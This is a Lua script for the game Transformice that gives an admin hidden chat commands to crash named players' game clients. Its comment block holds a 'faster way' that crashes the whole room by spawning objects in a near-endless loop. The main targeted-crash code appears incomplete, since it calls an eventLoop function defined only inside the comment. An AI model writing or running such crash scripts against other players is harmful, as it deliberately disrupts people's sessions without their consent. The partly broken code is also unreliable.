[Script] Crash

--Creator: Hass
--Made in: 28/12/2019
--Last update: 18/01/2020
--[[ Notes:
    Does:
        Crash.
    Commands:
        !
            crash
                Nome --> Start a slow crash just for name.
            stop
                Nome --> Stop crashing in Name, but Popups will not disappear.
                * --> It removes everyone who is being Crash from the crash table, but Popups will not disappear.
    Faster way (Leave the tribe house asap!):
        tfm.exec.newGame()
        eventLoop = function(t)
            if (t/1000) >= 6 then
                for i = 1,1e9 do
                    tfm.exec.addShamanObject(100,0,0)
                end
            end
        end
]]--

adm = {"Hass"}

mice={}
toCrash = {}

eventNewPlayer=function(n) mice[n] = {out = false} end
table.foreach(tfm.get.room.playerList,eventNewPlayer)

eventPlayerLeft=function(n) mice[n].out = true;if table.find(toCrash,n) then table.destroy(toCrash,n);print(id) end end

id = 0

string.nick=function(player)
    return player:lower():gsub('%a',string.upper,1)
end
table.find=function(table,value)
    for k,v in next,table do
        if v == value then
            return true,k
        end
    end
    return false,0
end
table.destroy=function(list,value)
    for k,v in next,list do
        if v == value then
            table.remove(list,k);break
        end
    end
end

eventChatCommand=function(n,command)
    local c = {};for val in command:gmatch("[^%s]+") do table.insert(c,val) end;c[1]=c[1]:lower()
    if table.find(adm,n) then
        if c[1] == "crash" and tfm.get.room.playerList[string.nick(c[2])] then
            c[2] = string.nick(c[2])
            table.insert(toCrash,c[2])
            eventLoop(0)
        end
        if c[1] == "stop" then
            if c[2] == "*" then toCrash={}
            else
                if tfm.get.room.playerList[string.nick(c[2])] then
                    c[2] = string.nick(c[2])
                    table.destroy(toCrash,c[2])
                end
            end
        end
        if c[1] == "id" then print(id) end
    end
end


for _,c in next,{"crash","stop","id"} do
    system.disableChatCommandDisplay(c,true)
end